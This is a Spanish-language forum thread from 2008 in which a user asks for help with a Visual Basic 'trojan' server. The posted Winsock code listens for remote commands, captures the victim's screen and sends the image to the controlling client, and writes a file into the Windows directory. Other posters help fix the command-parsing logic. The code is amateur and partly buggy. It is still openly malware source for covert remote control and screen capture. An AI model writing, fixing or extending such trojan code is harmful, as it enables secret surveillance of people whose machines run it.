ayuda sobre vb troyano

Iniciado por astaroth_15, 1 Marzo 2008, 22:38 PM

0 Miembros y 1 Visitante están viendo este tema.

astaroth_15

hola a todo el mundo..

queria preguntaros el por qué no me obedece lo que es el cliente a el server

el codigo es..:

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim vtData As String
Dim vDatos() As String
Dim Datos As String

ws.GetData vtData, vbString

If Envio = True Then ' Archivos recibidos
    DataFile = DataFile & vtData
   
    If Len(DataFile) = lenFile Then
        Open NombreRec For Binary As #1
        Put #1, , DataFile
        Close #1
        DataFile = ""
        Envio = False
    End If
   
End If

txtRecibido.Text = vtData



ws.GetData Datos
ws.GetData vtData, vbString
vtData = txtRecibido.Text
vDatos = Split(Datos, "|")
Select Case vDatos(0)
Case "Cerrar"
End
Case "Screen"
Resolucion = vDatos(1)
Foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
Foto.Quality = Resolucion
Foto.SampleScreen
Foto.SaveFile ("c:\capture.jpg")
txtRecibido.Text = vtData
Open "c:\capture.jpg" For Binary As #1
File = Input(LOF(1), 1)
Close #1
FileTotal = Len(File)
ws.SendData "Screen|" & FileTotal
Kill "c:\capture.jpg"
Case "OK"
ws.SendData File
Case "Name"
Nombre = vDatos(1)
Kill WINDOWS & "\name"
Open WINDOWS & "\name" For Binary As #1
Put #1, 1, Nombre
Close #1
End Select
End Sub


no entiendo.. lo que quiero esque si "hola" es igual a "hola" entonces me de " msgbox hola "

pero no me hace caso, :S!!
Tienes Menos Cabeza Que Un Muñeco De Nieves

naderST

Fijate este ejemplo

Option Explicit

Private Sub Form_Load()
WS.LocalPort = 1020
WS.Listen
End Sub

Private Sub WS_Close()
WS.Close
WS.Listen
End Sub

Private Sub WS_ConnectionRequest(ByVal requestID As Long)
WS.Close
WS.Accept requestID
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim rDatos As String
Dim rDato() As String

WS.GetData rDatos 'El dato que recibiria es: Mensaje|hola

rDato = Split(rDatos, "|")

If rDato(0) = "Mensaje" Then
    MsgBox rDato(1) 'Seria: MsgBox "hola"
End If
End Sub


astaroth_15

sip, pero si pongo eso, al darle a screen capture, me hace tambien eso de Hola entiendes? lo que te quiero decir compadre?
Tienes Menos Cabeza Que Un Muñeco De Nieves

naderST

Cita de: astaroth_15 en  1 Marzo 2008, 23:31 PM
sip, pero si pongo eso, al darle a screen capture, me hace tambien eso de Hola entiendes? lo que te quiero decir compadre?

no la verdad no te entiendo...

astaroth_15

Tienes Menos Cabeza Que Un Muñeco De Nieves

~~

Cito:

Citarws.GetData vtData, vbString

[...]

txtRecibido.Text = vtData



ws.GetData Datos
ws.GetData vtData, vbString
vtData = txtRecibido.Text

Normal que no te haga caso.. recoge los datos una sola vez en una sola variable, los partes una sola vez y comparas con esos datos.....